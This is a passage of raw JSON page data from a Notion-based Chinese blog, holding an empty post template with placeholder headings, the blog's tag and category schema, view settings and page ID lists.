2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"b4a852c3-8bab-43ef-b748-8dec9d0940f9":{"value":{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","version":7,"type":"page","content":["82d871b0-86d3-4d3c-8d4c-fe70087f3d69","ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7","c2d93490-64f9-4cb1-882b-ce82d4e86e34","ad9f849c-2f34-425c-8ae2-9b3e5fd954ad","9a7a521d-391c-4709-bc52-426bcdc88d29","931b0fc5-4a3c-42a1-9e72-2f98575aabe4","bfd4a004-433b-4690-91c1-564daf7111de","26ae09ec-3360-4a22-8a1c-5a04558cd1bf","ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec","429902e3-fd85-467c-823e-a01d0c6f3585","2b18786d-ffa2-4d78-9627-a8e7e7ff5764","3cfd7e2b-1101-45dd-aa39-381d8a0d5173","14fcaf05-02a3-4cb7-8229-9512ee7a23f1","4c8e427a-3bcd-4247-85b8-39aa455c2e41"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9f28556e-a9f0-4c1b-80fb-3dbe4f348497","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1705630808239,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9f28556e-a9f0-4c1b-80fb-3dbe4f348497","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"82d871b0-86d3-4d3c-8d4c-fe70087f3d69":{"value":{"id":"82d871b0-86d3-4d3c-8d4c-fe70087f3d69","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["aad2aea5-e7bc-4147-bfeb-465cbf407a92"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"7691f913-ab67-4bef-a6fc-40f04cddd7f7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"7691f913-ab67-4bef-a6fc-40f04cddd7f7"}},"aad2aea5-e7bc-4147-bfeb-465cbf407a92":{"value":{"id":"aad2aea5-e7bc-4147-bfeb-465cbf407a92","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"49ad2fff-395c-4e41-8975-b5e59bf12e5c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337155,"last_edited_time":1705594337155,"parent_id":"82d871b0-86d3-4d3c-8d4c-fe70087f3d69","parent_table":"block","alive":true,"copied_from":"49ad2fff-395c-4e41-8975-b5e59bf12e5c"}},"ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7":{"value":{"id":"ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7","type":"text","format":{"copied_from_pointer":{"id":"58267cec-d269-493d-84d6-a3f5db3f9795","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"58267cec-d269-493d-84d6-a3f5db3f9795"}},"c2d93490-64f9-4cb1-882b-ce82d4e86e34":{"value":{"id":"c2d93490-64f9-4cb1-882b-ce82d4e86e34","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"7a8c3b7a-e21a-4c9b-b979-8cb34f66fa8b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"7a8c3b7a-e21a-4c9b-b979-8cb34f66fa8b"}},"ad9f849c-2f34-425c-8ae2-9b3e5fd954ad":{"value":{"id":"ad9f849c-2f34-425c-8ae2-9b3e5fd954ad","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"1b076f45-d0db-4fc8-a863-29c5a8a3c246","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"1b076f45-d0db-4fc8-a863-29c5a8a3c246"}},"9a7a521d-391c-4709-bc52-426bcdc88d29":{"value":{"id":"9a7a521d-391c-4709-bc52-426bcdc88d29","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"ad5e5791-cd82-409d-8643-00c52328b54d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"ad5e5791-cd82-409d-8643-00c52328b54d"}},"931b0fc5-4a3c-42a1-9e72-2f98575aabe4":{"value":{"id":"931b0fc5-4a3c-42a1-9e72-2f98575aabe4","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"68755d5e-d008-43c7-a7c5-818e51d76e04","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"68755d5e-d008-43c7-a7c5-818e51d76e04"}},"bfd4a004-433b-4690-91c1-564daf7111de":{"value":{"id":"bfd4a004-433b-4690-91c1-564daf7111de","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"05ec0e1d-42b5-4fc1-bc0b-8194eb06b0b5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"05ec0e1d-42b5-4fc1-bc0b-8194eb06b0b5"}},"26ae09ec-3360-4a22-8a1c-5a04558cd1bf":{"value":{"id":"26ae09ec-3360-4a22-8a1c-5a04558cd1bf","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"bafc69ed-a5e1-42d5-801c-c174230081ff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"bafc69ed-a5e1-42d5-801c-c174230081ff"}},"ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec":{"value":{"id":"ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"1fbf888c-22f2-4d2f-952f-292cff57550e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"1fbf888c-22f2-4d2f-952f-292cff57550e"}},"429902e3-fd85-467c-823e-a01d0c6f3585":{"value":{"id":"429902e3-fd85-467c-823e-a01d0c6f3585","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"9a814146-6bbd-4d09-b2ca-2207742a8c9a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"9a814146-6bbd-4d09-b2ca-2207742a8c9a"}},"2b18786d-ffa2-4d78-9627-a8e7e7ff5764":{"value":{"id":"2b18786d-ffa2-4d78-9627-a8e7e7ff5764","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"65d51202-f9fb-471c-a98d-3d012cd9a9e2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"65d51202-f9fb-471c-a98d-3d012cd9a9e2"}},"3cfd7e2b-1101-45dd-aa39-381d8a0d5173":{"value":{"id":"3cfd7e2b-1101-45dd-aa39-381d8a0d5173","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"ccb9e9ee-6fb7-4ac3-8051-3691b5cbee16","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"ccb9e9ee-6fb7-4ac3-8051-3691b5cbee16"}},"14fcaf05-02a3-4cb7-8229-9512ee7a23f1":{"value":{"id":"14fcaf05-02a3-4cb7-8229-9512ee7a23f1","type":"text","format":{"copied_from_pointer":{"id":"a54672cb-9ce1-4819-9c30-d1102efe1731","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"a54672cb-9ce1-4819-9c30-d1102efe1731"}},"4c8e427a-3bcd-4247-85b8-39aa455c2e41":{"value":{"id":"4c8e427a-3bcd-4247-85b8-39aa455c2e41","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"9a367ddb-bd3f-46b9-a68f-8a66c84ff06f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"9a367ddb-bd3f-46b9-a68f-8a66c84ff06f"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e